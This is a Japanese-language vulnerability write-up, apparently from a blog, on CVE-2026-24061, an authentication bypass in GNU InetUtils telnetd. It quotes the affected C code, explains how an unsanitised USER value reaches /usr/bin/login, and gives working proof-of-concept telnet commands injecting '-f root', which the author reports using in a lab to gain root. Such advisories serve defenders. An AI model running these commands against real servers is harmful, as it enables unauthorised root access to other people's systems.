
GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability
CVE-2026–24061 は、GNU InetUtils の telnetd サービスにおける重大な脆弱性です。
CVE ID : CVE-2026–24061
深刻度 : 重大 (CVSS 9.8)
攻撃ベクトル : ネットワーク
必要な認証 : なし
影響 : システム全体の完全な乗っ取り(ルートアクセス)
この脆弱性は、Telnet セッションの確立中に USER 環境変数が不適切に処理されることに起因します。この値は、一切のサニタイズや検証が行われずに /usr/bin/login の引数リストに直接渡されます。その結果、リモート攻撃者はこの入力を操作してコマンドラインオプションを注入し、認証をバイパスして即座にルートシェルを取得することが可能になります。
次の telnetd/utility_file.c からのスニペットは、ユーザー指定の値が検証なしで直接使用される様子を示しています。
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
問題点 :
ユーザー制御可能な値 USER、terminaltype、line が検証なしで使用されています。これらの値は内部構造に直接コピーされます。
これらの値は Telnet プロトコルを介してリモートクライアントから影響を受ける可能性があるため、これにより重大な注入ポイントが生じます。
攻撃の流れ :
概念実証
最小限の概念実証コードは、脆弱性の悪用方法を示しています。
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
このコマンドは、Telnet ハンドシェイク中に悪意のある USER 値を注入し、脆弱なシステム上で不正なルートアクセスを引き起こす可能性があります。
私は CVE-2026–24061 を含むラボを完了しました。そこでは、telnet -l '-f root' 176.16.2.153 を使用して悪意のある引数を注入し、認証バイパスを達成し、最終的にターゲットシステム上でルートレベルのアクセスを取得しました。

内部で何が起こるか :
1 - l : ログイン名を指します
2 - '-f root' : ユーザー名として渡される値です(-f : パスワードチェックなし – 認証スキップ)、(root : ターゲットユーザー))
3 - 脆弱なサーバーはサニタイズを行いません
4 - これをユーザー名の一部ではなくフラグとして解釈します
これにより、悪意のある引数を注入し、認証をバイパスし、ターゲットシステム上でルートレベルのアクセスを取得することができました。
技術概要
この欠陥は、telnetd が NEW_ENVIRON Telnet オプションを処理する方法にあります。これにより、クライアントがシステムの /usr/bin/login バイナリに渡される環境変数を定義できるようになります。telnetd が USER 変数をサニタイズしないため、攻撃者は -f フラグ(強制ログイン)を注入でき、ログインユーティリティはパスワード検証をスキップし、指定されたユーザー(通常は root)に対して直ちにセッションを許可します。